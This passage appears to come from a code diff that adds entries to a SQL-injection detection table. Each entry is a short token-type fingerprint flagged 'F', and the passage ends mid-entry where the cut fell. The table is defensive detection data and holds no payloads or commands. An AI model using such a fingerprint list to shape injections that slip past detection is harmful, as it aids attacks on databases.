{"0SU(EK", 'F'}, + {"0SU(EN", 'F'}, + {"0SU(ES", 'F'}, + {"0SU(EV", 'F'}, + {"0SU(F(", 'F'}, + {"0SU(N)", 'F'}, + {"0SU(NO", 'F'}, + {"0SU(S)", 'F'}, + {"0SU(SO", 'F'}, + {"0SU(V)", 'F'}, + {"0SU(VO", 'F'}, + {"0SU1,(", 'F'}, + {"0SU1,F", 'F'}, + {"0SU1C", 'F'}, + {"0SU1O(", 'F'}, + {"0SU1OF", 'F'}, + {"0SU1OS", 'F'}, + {"0SU1OV", 'F'}, + {"0SU;", 'F'}, + {"0SU;C", 'F'}, + {"0SUC", 'F'}, + {"0SUE", 'F'}, + {"0SUE(1", 'F'}, + {"0SUE(E", 'F'}, + {"0SUE(F", 'F'}, + {"0SUE(N", 'F'}, + {"0SUE(O", 'F'}, + {"0SUE(S", 'F'}, + {"0SUE(V", 'F'}, + {"0SUE1", 'F'}, + {"0SUE1&", 'F'}, + {"0SUE1(", 'F'}, + {"0SUE1)", 'F'}, + {"0SUE1,", 'F'}, + {"0SUE1;", 'F'}, + {"0SUE1B", 'F'}, + {"0SUE1C", 'F'}, + {"0SUE1F", 'F'}, + {"0SUE1K", 'F'}, + {"0SUE1N", 'F'}, + {"0SUE1O", 'F'}, + {"0SUE1S", 'F'}, + {"0SUE1U", 'F'}, + {"0SUE1V", 'F'}, + {"0SUE;", 'F'}, + {"0SUE;C", 'F'}, + {"0SUEC", 'F'}, + {"0SUEF", 'F'}, + {"0SUEF(", 'F'}, + {"0SUEF,", 'F'}, + {"0SUEF;", 'F'}, + {"0SUEFC", 'F'}, + {"0SUEK", 'F'}, + {"0SUEK(", 'F'}, + {"0SUEK1", 'F'}, + {"0SUEK;", 'F'}, + {"0SUEKC", 'F'}, + {"0SUEKF", 'F'}, + {"0SUEKN", 'F'}, + {"0SUEKO", 'F'}, + {"0SUEKS", 'F'}, + {"0SUEKV", 'F'}, + {"0SUEN", 'F'}, + {"0SUEN&", 'F'}, + {"0SUEN(", 'F'}, + {"0SUEN)", 'F'}, + {"0SUEN,", 'F'}, + {"0SUEN1", 'F'}, + {"0SUEN;", 'F'}, + {"0SUENB", 'F'}, + {"0SUENC", 'F'}, + {"0SUENF", 'F'}, + {"0SUENK", 'F'}, + {"0SUENO", 'F'}, + {"0SUENS", 'F'}, + {"0SUENU", 'F'}, + {"0SUEOK", 'F'}, + {"0SUEON", 'F'}, + {"0SUES", 'F'}, + {"0SUES&", 'F'}, + {"0SUES(", 'F'}, + {"0SUES)", 'F'}, + {"0SUES,", 'F'}, + {"0SUES1", 'F'}, + {"0SUES;", 'F'}, + {"0SUESB", 'F'}, + {"0SUESC", 'F'}, + {"0SUESF", 'F'}, + {"0SUESK", 'F'}, + {"0SUESO", 'F'}, + {"0SUESU", 'F'}, + {"0SUESV", 'F'}, + {"0SUEV", 'F'}, + {"0SUEV&", 'F'}, + {"0SUEV(", 'F'}, + {"0SUEV)", 'F'}, + {"0SUEV,", 'F'}, + {"0SUEV;", 'F'}, + {"0SUEVB", 'F'}, + {"0SUEVC", 'F'}, + {"0SUEVF", 'F'}, + {"0SUEVK", 'F'}, + {"0SUEVN", 'F'}, + {"0SUEVO", 'F'}, + {"0SUEVS", 'F'}, + {"0SUEVU", 'F'}, + {"0SUF()", 'F'}, + {"0SUF(1", 'F'}, + {"0SUF(F", 'F'}, + {"0SUF(N", 'F'}, + {"0SUF(S", 'F'}, + {"0SUF(V", 'F'}, + {"0SUK(E", 'F'}, + {"0SUO(E", 'F'}, + {"0SUON(", 'F'}, + {"0SUON1", 'F'}, + {"0SUONF", 'F'}, + {"0SUONS", 'F'}, + {"0SUS,(", 'F'}, + {"0SUS,F", 'F'}, + {"0SUSC", 'F'}, + {"0SUSO(", 'F'}, + {"0SUSO1", 'F'}, + {"0SUSOF", 'F'}, + {"0SUSON", 'F'}, + {"0SUSOS", 'F'}, + {"0SUSOV", 'F'}, + {"0SUTN(", 'F'}, + {"0SUTN1", 'F'}, + {"0SUTNF", 'F'}, + {"0SUTNN", 'F'}, + {"0SUTNS", 'F'}, + {"0SUTNV", 'F'}, + {"0SUV,(", 'F'}, + {"0SUV,F", 'F'}, + {"0SUVC", 'F'}, + {"0SUVO(", 'F'}, + {"0SUVOF", 'F'}, + {"0SUVOS", 'F'}, + {"0SVF()", 'F'}, + {"0SVF(1", 'F'}, + {"0SVF(F", 'F'}, + {"0SVF(N", 'F'}, + {"0SVF(S", 'F'}, + {"0SVF(V", 'F'}, + {"0SVO(1", 'F'}, + {"0SVO(F", 'F'}, + {"0SVO(N", 'F'}, + {"0SVO(S", 'F'}, + {"0SVO(V", 'F'}, + {"0SVOF(", 'F'}, + {"0SVOS(", 'F'}, + {"0SVOS1", 'F'}, + {"0SVOSF", 'F'}, + {"0SVOSU", 'F'}, + {"0SVOSV", 'F'}, + {"0SVS;", 'F'}, + {"0SVS;C", 'F'}, + {"0SVSC", 'F'}, + {"0SVSO(", 'F'}, + {"0SVSO1", 'F'}, + {"0SVSOF", 'F'}, + {"0SVSON", 'F'}, + {"0SVSOS", 'F'}, + {"0SVSOV", 'F'}, + {"0SVUE", 'F'}, + {"0SVUE;", 'F'}, + {"0SVUEC", 'F'}, + {"0SVUEK", 'F'}, + {"0T(1)F", 'F'}, + {"0T(1)O", 'F'}, + {"0T(1F(", 'F'}, + {"0T(1N)", 'F'}, + {"0T(1O(", 'F'}, + {"0T(1OF", 'F'}, + {"0T(1OS", 'F'}, + {"0T(1OV", 'F'}, + {"0T(1S)", 'F'}, + {"0T(1V)", 'F'}, + {"0T(1VO", 'F'}, + {"0T(F()", 'F'}, + {"0T(F(1", 'F'}, + {"0T(F(F", 'F'}, + {"0T(F(N", 'F'}, + {"0T(F(S", 'F'}, + {"0T(F(V", 'F'}, + {"0T(N(1", 'F'}, + {"0T(N(F", 'F'}, + {"0T(N(S", 'F'}, + {"0T(N(V", 'F'}, + {"0T(N)F", 'F'}, + {"0T(N)O", 'F'}, + {"0T(N1)", 'F'}, + {"0T(N1O", 'F'}, + {"0T(NF(", 'F'}, + {"0T(NN)", 'F'}, + {"0T(NNO", 'F'}, + {"0T(NO(", 'F'}, + {"0T(NOF", 'F'}, + {"0T(NOS", 'F'}, + {"0T(NOV", 'F'}, + {"0T(NS)", 'F'}, + {"0T(NSO", 'F'}, + {"0T(NV)", 'F'}, + {"0T(NVO", 'F'}, + {"0T(S)F", 'F'}, + {"0T(S)O", 'F'}, + {"0T(S1)", 'F'}, + {"0T(SF(", 'F'}, + {"0T(SN)", 'F'}, + {"0T(SNO", 'F'}, + {"0T(SO(", 'F'}, + {"0T(SO1", 'F'}, + {"0T(SOF", 'F'}, + {"0T(SON", 'F'}, + {"0T(SOS", 'F'}, + {"0T(SOV", 'F'}, + {"0T(SV)", 'F'}, + {"0T(SVO", 'F'}, + {"0T(V)F", 'F'}, + {"0T(V)O", 'F'}, + {"0T(VF(", 'F'}, + {"0T(VO(", 'F'}, + {"0T(VOF", 'F'}, + {"0T(VOS", 'F'}, + {"0T(VS)", 'F'}, + {"0T(VSO", 'F'}, + {"0T(VV)", 'F'}, + {"0T1F(1", 'F'}, + {"0T1F(F", 'F'}, + {"0T1F(N", 'F'}, + {"0T1F(S", 'F'}, + {"0T1F(V", 'F'}, + {"0T1O(1", 'F'}, + {"0T1O(F", 'F'}, + {"0T1O(N", 'F'}, + {"0T1O(S", 'F'}, + {"0T1O(V", 'F'}, + {"0T1OF(", 'F'}, + {"0T1OSF", 'F'}, + {"0T1OVF", 'F'}, + {"0T1OVO", 'F'}, + {"0TF()F", 'F'}, + {"0TF()O", 'F'}, + {"0TF(1)", 'F'}, + {"0TF(1O", 'F'}, + {"0TF(F(", 'F'}, + {"0TF(N)", 'F'}, + {"0TF(NO", 'F'}, + {"0TF(S)", 'F'}, + {"0TF(SO", 'F'}, + {"0TF(V)", 'F'}, + {"0TF(VO", 'F'}, + {"0TN(1)", 'F'}, + {"0TN(1O", 'F'}, + {"0TN(F(", 'F'}, + {"0TN(S)", 'F'}, + {"0TN(SO", 'F'}, + {"0TN(V)", 'F'}, + {"0TN(VO", 'F'}, + {"0TN1;", 'F'}, + {"0TN1;C", 'F'}, + {"0TN1O(", 'F'}, + {"0TN1OF", 'F'}, + {"0TN1OS", 'F'}, + {"0TN1OV", 'F'}, + {"0TNF()", 'F'}, + {"0TNF(1", 'F'}, + {"0TNF(F", 'F'}, + {"0TNF(N", 'F'}, + {"0TNF(S", 'F'}, + {"0TNF(V", 'F'}, + {"0TNN;", 'F'}, + {"0TNN;C", 'F'}, + {"0TNNO(", 'F'}, + {"0TNNOF", 'F'}, + {"0TNNOS", 'F'}, + {"0TNNOV", 'F'}, + {"0TNO(1", 'F'}, + {"0TNO(F", 'F'}, + {"0TNO(N", 'F'}, + {"0TNO(S", 'F'}, + {"0TNO(V", 'F'}, + {"0TNOF(", 'F'}, + {"0TNOSF", 'F'}, + {"0TNOVF", 'F'}, + {"0TNOVO", 'F'}, + {"0TNS;", 'F'}, + {"0TNS;C", 'F'}, + {"0TNSO(", 'F'}, + {"0TNSO1", 'F'}, + {"0TNSOF", 'F'}, + {"0TNSON", 'F'}, + {"0TNSOS", 'F'}, + {"0TNSOV", 'F'}, + {"0TNV;", 'F'}, + {"0TNV;C", 'F'}, + {"0TNVO(", 'F'}, + {"0TNVOF", 'F'}, + {"0TNVOS", 'F'}, + {"0TSF(1", 'F'}, + {"0TSF(F", 'F'}, + {"0TSF(N", 'F'}, + {"0TSF(S", 'F'}, + {"0TSF(V", 'F'}, + {"0TSO(1", 'F'}, + {"0TSO(F", 'F'}, + {"0TSO(N", 'F'}, + {"0TSO(S", 'F'}, + {"0TSO(V", 'F'}, + {"0TSO1F", 'F'}, + {"0TSOF(", 'F'}, + {"0TSONF", 'F'}, + {"0TSOSF", 'F'}, + {"0TSOVF", 'F'}, + {"0TSOVO", 'F'}, + {"0TVF(1", 'F'}, + {"0TVF(F", 'F'}, + {"0TVF(N", 'F'}, + {"0TVF(S", 'F'}, + {"0TVF(V", 'F'}, + {"0TVO(1", 'F'}, + {"0TVO(F", 'F'}, + {"0TVO(N", 'F'}, + {"0TVO(S", 'F'}, + {"0TVO(V", 'F'}, + {"0TVOF(", 'F'}, + {"0TVOSF", 'F'}, + {"0U(E(1", 'F'}, + {"0U(E(F", 'F'}, + {"0U(E(K", 'F'}, + {"0U(E(N", 'F'}, + {"0U(E(S", 'F'}, + {"0U(E(V", 'F'}, + {"0U(E1)", 'F'}, + {"0U(E1O", 'F'}, + {"0U(EF(", 'F'}, + {"0U(EK(", 'F'}, + {"0U(EK1", 'F'}, + {"0U(EKF", 'F'}, + {"0U(EKN", 'F'}, + {"0U(EKO", 'F'}, + {"0U(EKS", 'F'}, + {"0U(EKV", 'F'}, + {"0U(EN)", 'F'}, + {"0U(ENK", 'F'}, + {"0U(ENO", 'F'}, + {"0U(EOK", 'F'}, + {"0U(ES)", 'F'}, + {"0U(ESO", 'F'}, + {"0U(EV)", 'F'}, + {"0U(EVO", 'F'}, + {"0UE(1)", 'F'}, + {"0UE(1,", 'F'}, + {"0UE(1O", 'F'}, + {"0UE(F(", 'F'}, + {"0UE(N)", 'F'}, + {"0UE(N,", 'F'}, + {"0UE(NO", 'F'}, + {"0UE(S)", 'F'}, + {"0UE(S,", 'F'}, + {"0UE(SO", 'F'}, + {"0UE(V)", 'F'}, + {"0UE(V,", 'F'}, + {"0UE(VO", 'F'}, + {"0UE1", 'F'}, + {"0UE1,(", 'F'}, + {"0UE1,F", 'F'}, + {"0UE1;", 'F'}, + {"0UE1;C", 'F'}, + {"0UE1C", 'F'}, + {"0UE1K(", 'F'}, + {"0UE1K1", 'F'}, + {"0UE1KF", 'F'}, + {"0UE1KN", 'F'}, + {"0UE1KS", 'F'}, + {"0UE1KV", 'F'}, + {"0UE1O(", 'F'}, + {"0UE1OF", 'F'}, + {"0UE1OS", 'F'}, + {"0UE1OV", 'F'}, + {"0UEF()", 'F'}, + {"0UEF(1", 'F'}, + {"0UEF(F", 'F'}, + {"0UEF(N", 'F'}, + {"0UEF(S", 'F'}, + {"0UEF(V", 'F'}, + {"0UEK(1", 'F'}, + {"0UEK(F", 'F'}, + {"0UEK(N", 'F'}, + {"0UEK(S", 'F'}, + {"0UEK(V", 'F'}, + {"0UEK1", 'F'}, + {"0UEK1,", 'F'}, + {"0UEK1;", 'F'}, + {"0UEK1C", 'F'}, + {"0UEK1K", 'F'}, + {"0UEK1O", 'F'}, + {"0UEKF(", 'F'}, + {"0UEKN", 'F'}, + {"0UEKN(", 'F'}, + {"0UEKN,", 'F'}, + {"0UEKN;", 'F'}, + {"0UEKNC", 'F'}, + {"0UEKNK", 'F'}, + {"0UEKS", 'F'}, + {"0UEKS,", 'F'}, + {"0UEKS;", 'F'}, + {"0UEKSC", 'F'}, + {"0UEKSK", 'F'}, + {"0UEKSO", 'F'}, + {"0UEKV", 'F'}, + {"0UEKV,", 'F'}, + {"0UEKV;", 'F'}, + {"0UEKVC", 'F'}, + {"0UEKVK", 'F'}, + {"0UEKVO", 'F'}, + {"0UEN()", 'F'}, + {"0UEN,(", 'F'}, + {"0UEN,F", 'F'}, + {"0UEN;", 'F'}, + {"0UEN;C", 'F'}, + {"0UENC", 'F'}, + {"0UENK(", 'F'}, + {"0UENK1", 'F'}, + {"0UENKF", 'F'}, + {"0UENKN", 'F'}, + {"0UENKS", 'F'}, + {"0UENKV", 'F'}, + {"0UENO(", 'F'}, + {"0UENOF", 'F'}, + {"0UENOS", 'F'}, + {"0UENOV", 'F'}, + {"0UES", 'F'}, + {"0UES,(", 'F'}, + {"0UES,F", 'F'}, + {"0UES;", 'F'}, + {"0UES;C", 'F'}, + {"0UESC", 'F'}, + {"0UESK(", 'F'}, + {"0UESK1", 'F'}, + {"0UESKF", 'F'}, + {"0UESKN", 'F'}, + {"0UESKS", 'F'}, + {"0UESKV", 'F'}, + {"0UESO(", 'F'}, + {"0UESO1", 'F'}, + {"0UESOF", 'F'}, + {"0UESON", 'F'}, + {"0UESOS", 'F'}, + {"0UESOV", 'F'}, + {"0UEV", 'F'}, + {"0UEV,(", 'F'}, + {"0UEV,F", 'F'}, + {"0UEV;", 'F'}, + {"0UEV;C", 'F'}, + {"0UEVC", 'F'}, + {"0UEVK(", 'F'}, + {"0UEVK1", 'F'}, + {"0UEVKF", 'F'}, + {"0UEVKN", 'F'}, + {"0UEVKS", 'F'}, + {"0UEVKV", 'F'}, + {"0UEVO(", 'F'}, + {"0UEVOF", 'F'}, + {"0UEVOS", 'F'}, + {"0UF(1O", 'F'}, + {"0UF(F(", 'F'}, + {"0UF(NO", 'F'}, + {"0UF(SO", 'F'}, + {"0UF(VO", 'F'}, + {"0V&(1&", 'F'}, + {"0V&(1)", 'F'}, + {"0V&(1,", 'F'}, + {"0V&(1O", 'F'}, + {"0V&(E(", 'F'}, + {"0V&(E1", 'F'}, + {"0V&(EF", 'F'}, + {"0V&(EK", 'F'}, + {"0V&(EN", 'F'}, + {"0V&(EO", 'F'}, + {"0V&(ES", 'F'}, + {"0V&(EV", 'F'}, + {"0V&(F(", 'F'}, + {"0V&(N&", 'F'}, + {"0V&(N)", 'F'}, + {"0V&(N,", 'F'}, + {"0V&(NO", 'F'}, + {"0V&(S&", 'F'}, + {"0V&(S)", 'F'}, + {"0V&(S,", 'F'}, + {"0V&(SO", 'F'}, + {"0V&(V&", 'F'}, + {"0V&(V)", 'F'}, + {"0V&(V,", 'F'}, + {"0V&(VO", 'F'}, + {"0V&1", 'F'}, + {"0V&1&(", 'F'}, + {"0V&1&1", 'F'}, + {"0V&1&F", 'F'}, + {"0V&1&N", 'F'}, + {"0V&1&S", 'F'}, + {"0V&1&V", 'F'}, + {"0V&1)&", 'F'}, + {"0V&1)C", 'F'}, + {"0V&1)O", 'F'}, + {"0V&1)U", 'F'}, + {"0V&1;", 'F'}, + {"0V&1;C", 'F'}, + {"0V&1;E", 'F'}, + {"0V&1;T", 'F'}, + {"0V&1B(", 'F'}, + {"0V&1B1", 'F'}, + {"0V&1BF", 'F'}, + {"0V&1BN", 'F'}, + {"0V&1BS", 'F'}, + {"0V&1BV", 'F'}, + {"0V&1C", 'F'}, + {"0V&1EK", 'F'}, + {"0V&1EN", 'F'}, + {"0V&1F(", 'F'}, + {"0V&1K(", 'F'}, + {"0V&1K1", 'F'}, + {"0V&1KF", 'F'}, + {"0V&1KN", 'F'}, + {"0V&1KS", 'F'}, + {"0V&1KV", 'F'}, + {"0V&1O(", 'F'}, + {"0V&1OF", 'F'}, + {"0V&1OS", 'F'}, + {"0V&1OV", 'F'}, + {"0V&1TN", 'F'}, + {"0V&1U", 'F'}, + {"0V&1U(", 'F'}, + {"0V&1U;", 'F'}, + {"0V&1UC", 'F'}, + {"0V&1UE", 'F'}, + {"0V&E(1", 'F'}, + {"0V&E(F", 'F'}, + {"0V&E(N", 'F'}, + {"0V&E(O", 'F'}, + {"0V&E(S", 'F'}, + {"0V&E(V", 'F'}, + {"0V&E1", 'F'}, + {"0V&E1;", 'F'}, + {"0V&E1C", 'F'}, + {"0V&E1K", 'F'}, + {"0V&E1O", 'F'}, + {"0V&EF(", 'F'}, + {"0V&EK(", 'F'}, + {"0V&EK1", 'F'}, + {"0V&EKF", 'F'}, + {"0V&EKN", 'F'}, + {"0V&EKS", 'F'}, + {"0V&EKV", 'F'}, + {"0V&EN", 'F'}, + {"0V&EN;", 'F'}, + {"0V&ENC", 'F'}, + {"0V&ENK", 'F'}, + {"0V&ENO", 'F'}, + {"0V&ES", 'F'}, + {"0V&ES;", 'F'}, + {"0V&ESC", 'F'}, + {"0V&ESK", 'F'}, + {"0V&ESO", 'F'}, + {"0V&EV", 'F'}, + {"0V&EV;", 'F'}, + {"0V&EVC", 'F'}, + {"0V&EVK", 'F'}, + {"0V&EVO", 'F'}, + {"0V&F()", 'F'}, + {"0V&F(1", 'F'}, + {"0V&F(E", 'F'}, + {"0V&F(F", 'F'}, + {"0V&F(N", 'F'}, + {"0V&F(S", 'F'}, + {"0V&F(V", 'F'}, + {"0V&K&(", 'F'}, + {"0V&K&1", 'F'}, + {"0V&K&F", 'F'}, + {"0V&K&N", 'F'}, + {"0V&K&S", 'F'}, + {"0V&K&V", 'F'}, + {"0V&K(1", 'F'}, + {"0V&K(F", 'F'}, + {"0V&K(N", 'F'}, + {"0V&K(S", 'F'}, + {"0V&K(V", 'F'}, + {"0V&K1O", 'F'}, + {"0V&KC", 'F'}, + {"0V&KF(", 'F'}, + {"0V&KNK", 'F'}, + {"0V&KO(", 'F'}, + {"0V&KO1", 'F'}, + {"0V&KOF", 'F'}, + {"0V&KOK", 'F'}, + {"0V&KON", 'F'}, + {"0V&KOS", 'F'}, + {"0V&KOV", 'F'}, + {"0V&KSO", 'F'}, + {"0V&KVO", 'F'}, + {"0V&N", 'F'}, + {"0V&N&(", 'F'}, + {"0V&N&1", 'F'}, + {"0V&N&F", 'F'}, + {"0V&N&N", 'F'}, + {"0V&N&S", 'F'}, + {"0V&N&V", 'F'}, + {"0V&N)&", 'F'}, + {"0V&N)C", 'F'}, + {"0V&N)O", 'F'}, + {"0V&N)U", 'F'}, + {"0V&N;", 'F'}, + {"0V&N;C", 'F'}, + {"0V&N;E", 'F'}, + {"0V&N;T", 'F'}, + {"0V&NB(", 'F'}, + {"0V&NB1", 'F'}, + {"0V&NBF", 'F'}, + {"0V&NBN", 'F'}, + {"0V&NBS", 'F'}, + {"0V&NBV", 'F'}, + {"0V&NC", 'F'}, + {"0V&NEN", 'F'}, + {"0V&NF(", 'F'}, + {"0V&NK(", 'F'}, + {"0V&NK1", 'F'}, + {"0V&NKF", 'F'}, + {"0V&NKN", 'F'}, + {"0V&NKS", 'F'}, + {"0V&NKV", 'F'}, + {"0V&NO(", 'F'}, + {"0V&NOF", 'F'}, + {"0V&NOS", 'F'}, + {"0V&NOV", 'F'}, + {"0V&NTN", 'F'}, + {"0V&NU", 'F'}, + {"0V&NU(", 'F'}, + {"0V&NU;", 'F'}, + {"0V&NUC", 'F'}, + {"0V&NUE", 'F'}, + {"0V&S", 'F'}, + {"0V&S&(", 'F'}, + {"0V&S&1", 'F'}, + {"0V&S&F", 'F'}, + {"0V&S&N", 'F'}, + {"0V&S&S", 'F'}, + {"0V&S&V", 'F'}, + {"0V&S)&", 'F'}, + {"0V&S)C", 'F'}, + {"0V&S)O", 'F'}, + {"0V&S)U", 'F'}, + {"0V&S1", 'F'}, + {"0V&S1;", 'F'}, + {"0V&S1C", 'F'}, + {"0V&S;", 'F'}, + {"0V&S;C", 'F'}, + {"0V&S;E", 'F'}, + {"0V&S;T", 'F'}, + {"0V&SB(", 'F'}, + {"0V&SB1", 'F'}, + {"0V&SBF", 'F'}, + {"0V&SBN", 'F'}, + {"0V&SBS", 'F'}, + {"0V&SBV", 'F'}, + {"0V&SC", 'F'}, + {"0V&SEK", 'F'}, + {"0V&SEN", 'F'}, + {"0V&SF(", 'F'}, + {"0V&SK(", 'F'}, + {"0V&SK1", 'F'}, + {"0V&SKF", 'F'}, + {"0V&SKN", 'F'}, + {"0V&SKS", 'F'}, + {"0V&SKV", 'F'}, + {"0V&SO(", 'F'}, + {"0V&SO1", 'F'}, + {"0V&SOF", 'F'}, + {"0V&SON", 'F'}, + {"0V&SOS", 'F'}, + {"0V&SOV", 'F'}, + {"0V&STN", 'F'}, + {"0V&SU", 'F'}, + {"0V&SU(", 'F'}, + {"0V&SU;", 'F'}, + {"0V&SUC", 'F'}, + {"0V&SUE", 'F'}, + {"0V&SV", 'F'}, + {"0V&SV;", 'F'}, + {"0V&SVC", 'F'}, + {"0V&SVO", 'F'}, + {"0V&V", 'F'}, + {"0V&V&(", 'F'}, + {"0V&V&1", 'F'}, + {"0V&V&F", 'F'}, + {"0V&V&N", 'F'}, + {"0V&V&S", 'F'}, + {"0V&V&V", 'F'}, + {"0V&V)&", 'F'}, + {"0V&V)C", 'F'}, + {"0V&V)O", 'F'}, + {"0V&V)U", 'F'}, + {"0V&V;", 'F'}, + {"0V&V;C", 'F'}, + {"0V&V;E", 'F'}, + {"0V&V;T", 'F'}, + {"0V&VB(", 'F'}, + {"0V&VB1", 'F'}, + {"0V&VBF", 'F'}, + {"0V&VBN", 'F'}, + {"0V&VBS", 'F'}, + {"0V&VBV", 'F'}, + {"0V&VC", 'F'}, + {"0V&VEK", 'F'}, + {"0V&VEN", 'F'}, + {"0V&VF(", 'F'}, + {"0V&VK(", 'F'}, + {"0V&VK1", 'F'}, + {"0V&VKF", 'F'}, + {"0V&VKN", 'F'}, + {"0V&VKS", 'F'}, + {"0V&VKV", 'F'}, + {"0V&VO(", 'F'}, + {"0V&VOF", 'F'}, + {"0V&VOS", 'F'}, + {"0V&VS", 'F'}, + {"0V&VS;", 'F'}, + {"0V&VSC", 'F'}, + {"0V&VSO", 'F'}, + {"0V&VTN", 'F'}, + {"0V&VU", 'F'}, + {"0V&VU(", 'F'}, + {"0V&VU;", 'F'}, + {"0V&VUC", 'F'}, + {"0V&VUE", 'F'}, + {"0V(EF(", 'F'}, + {"0V(EKF", 'F'}, + {"0V(EKN", 'F'}, + {"0V(ENK", 'F'}, + {"0V(U(E", 'F'}, + {"0V)&(1", 'F'}, + {"0V)&(E", 'F'}, + {"0V)&(F", 'F'}, + {"0V)&(N", 'F'}, + {"0V)&(S", 'F'}, + {"0V)&(V", 'F'}, + {"0V)&1", 'F'}, + {"0V)&1&", 'F'}, + {"0V)&1)", 'F'}, + {"0V)&1;", 'F'}, + {"0V)&1B", 'F'}, + {"0V)&1C", 'F'}, + {"0V)&1F", 'F'}, + {"0V)&1O", 'F'}, + {"0V)&1U", 'F'}, + {"0V)&F(", 'F'}, + {"0V)&N", 'F'}, + {"0V)&N&", 'F'}, + {"0V)&N)", 'F'}, + {"0V)&N;", 'F'}, + {"0V)&NB", 'F'}, + {"0V)&NC", 'F'}, + {"0V)&NF", 'F'}, + {"0V)&NO", 'F'}, + {"0V)&NU", 'F'}, + {"0V)&S", 'F'}, + {"0V)&S&", 'F'}, + {"0V)&S)", 'F'}, + {"0V)&S;", 'F'}, + {"0V)&SB", 'F'}, + {"0V)&SC", 'F'}, + {"0V)&SF", 'F'}, + {"0V)&SO", 'F'}, + {"0V)&SU", 'F'}, + {"0V)&V", 'F'}, + {"0V)&V&", 'F'}, + {"0V)&V)", 'F'}, + {"0V)&V;", 'F'}, + {"0V)&VB", 'F'}, + {"0V)&VC", 'F'}, + {"0V)&VF", 'F'}, + {"0V)&VO", 'F'}, + {"0V)&VU", 'F'}, + {"0V),(1", 'F'}, + {"0V),(F", 'F'}, + {"0V),(N", 'F'}, + {"0V),(S", 'F'}, + {"0V),(V", 'F'}, + {"0V);E(", 'F'}, + {"0V);E1", 'F'}, + {"0V);EF", 'F'}, + {"0V);EK", 'F'}, + {"0V);EN", 'F'}, + {"0V);EO", 'F'}, + {"0V);ES", 'F'}, + {"0V);EV", 'F'}, + {"0V);T(", 'F'}, + {"0V);T1", 'F'}, + {"0V);TF", 'F'}, + {"0V);TK", 'F'}, + {"0V);TN", 'F'}, + {"0V);TO", 'F'}, + {"0V);TS", 'F'}, + {"0V);TV", 'F'}, + {"0V)B(1", 'F'}, + {"0V)B(F", 'F'}, + {"0V)B(N", 'F'}, + {"0V)B(S", 'F'}, + {"0V)B(V", 'F'}, + {"0V)B1", 'F'}, + {"0V)B1&", 'F'}, + {"0V)B1;", 'F'}, + {"0V)B1C", 'F'}, + {"0V)B1K", 'F'}, + {"0V)B1N", 'F'}, + {"0V)B1O", 'F'}, + {"0V)B1U", 'F'}, + {"0V)BF(", 'F'}, + {"0V)BN", 'F'}, + {"0V)BN&", 'F'}, + {"0V)BN;", 'F'}, + {"0V)BNC", 'F'}, + {"0V)BNK", 'F'}, + {"0V)BNO", 'F'}, + {"0V)BNU", 'F'}, + {"0V)BS", 'F'}, + {"0V)BS&", 'F'}, + {"0V)BS;", 'F'}, + {"0V)BSC", 'F'}, + {"0V)BSK", 'F'}, + {"0V)BSO", 'F'}, + {"0V)BSU", 'F'}, + {"0V)BV", 'F'}, + {"0V)BV&", 'F'}, + {"0V)BV;", 'F'}, + {"0V)BVC", 'F'}, + {"0V)BVK", 'F'}, + {"0V)BVO", 'F'}, + {"0V)BVU", 'F'}, + {"0V)C", 'F'}, + {"0V)E(1", 'F'}, + {"0V)E(F", 'F'}, + {"0V)E(N", 'F'}, + {"0V)E(S", 'F'}, + {"0V)E(V", 'F'}, + {"0V)E1C", 'F'}, + {"0V)E1O", 'F'}, + {"0V)EF(", 'F'}, + {"0V)EK(", 'F'}, + {"0V)EK1", 'F'}, + {"0V)EKF", 'F'}, + {"0V)EKN", 'F'}, + {"0V)EKS", 'F'}, + {"0V)EKV", 'F'}, + {"0V)ENC", 'F'}, + {"0V)ENO", 'F'}, + {"0V)ESC", 'F'}, + {"0V)ESO", 'F'}, + {"0V)EVC", 'F'}, + {"0V)EVO", 'F'}, + {"0V)F(F", 'F'}, + {"0V)K(1", 'F'}, + {"0V)K(F", 'F'}, + {"0V)K(N", 'F'}, + {"0V)K(S", 'F'}, + {"0V)K(V", 'F'}, + {"0V)K1&", 'F'}, + {"0V)K1;", 'F'}, + {"0V)K1B", 'F'}, + {"0V)K1E", 'F'}, + {"0V)K1O", 'F'}, + {"0V)K1U", 'F'}, + {"0V)KB(", 'F'}, + {"0V)KB1", 'F'}, + {"0V)KBF", 'F'}, + {"0V)KBN", 'F'}, + {"0V)KBS", 'F'}, + {"0V)KBV", 'F'}, + {"0V)KF(", 'F'}, + {"0V)KN&", 'F'}, + {"0V)KN;", 'F'}, + {"0V)KNB", 'F'}, + {"0V)KNC", 'F'}, + {"0V)KNE", 'F'}, + {"0V)KNK", 'F'}, + {"0V)KNU", 'F'}, + {"0V)KS&", 'F'}, + {"0V)KS;", 'F'}, + {"0V)KSB", 'F'}, + {"0V)KSE", 'F'}, + {"0V)KSO", 'F'}, + {"0V)KSU", 'F'}, + {"0V)KUE", 'F'}, + {"0V)KV&", 'F'}, + {"0V)KV;", 'F'}, + {"0V)KVB", 'F'}, + {"0V)KVE", 'F'}, + {"0V)KVO", 'F'}, + {"0V)KVU", 'F'}, + {"0V)O(1", 'F'}, + {"0V)O(E", 'F'}, + {"0V)O(F", 'F'}, + {"0V)O(N", 'F'}, + {"0V)O(S", 'F'}, + {"0V)O(V", 'F'}, + {"0V)O1", 'F'}, + {"0V)O1&", 'F'}, + {"0V)O1)", 'F'}, + {"0V)O1;", 'F'}, + {"0V)O1B", 'F'}, + {"0V)O1C", 'F'}, + {"0V)O1K", 'F'}, + {"0V)O1U", 'F'}, + {"0V)OF(", 'F'}, + {"0V)ON", 'F'}, + {"0V)ON&", 'F'}, + {"0V)ON)", 'F'}, + {"0V)ON;", 'F'}, + {"0V)ONB", 'F'}, + {"0V)ONC", 'F'}, + {"0V)ONK", 'F'}, + {"0V)ONU", 'F'}, + {"0V)OS", 'F'}, + {"0V)OS&", 'F'}, + {"0V)OS)", 'F'}, + {"0V)OS;", 'F'}, + {"0V)OSB", 'F'}, + {"0V)OSC", 'F'}, + {"0V)OSK", 'F'}, + {"0V)OSU", 'F'}, + {"0V)OV", 'F'}, + {"0V)OV&", 'F'}, + {"0V)OV)", 'F'}, + {"0V)OV;", 'F'}, + {"0V)OVB", 'F'}, + {"0V)OVC", 'F'}, + {"0V)OVK", 'F'}, + {"0V)OVO", 'F'}, + {"0V)OVU", 'F'}, + {"0V)U(E", 'F'}, + {"0V)UE(", 'F'}, + {"0V)UE1", 'F'}, + {"0V)UEF", 'F'}, + {"0V)UEK", 'F'}, + {"0V)UEN", 'F'}, + {"0V)UES", 'F'}, + {"0V)UEV", 'F'}, + {"0V,(1)", 'F'}, + {"0V,(1O", 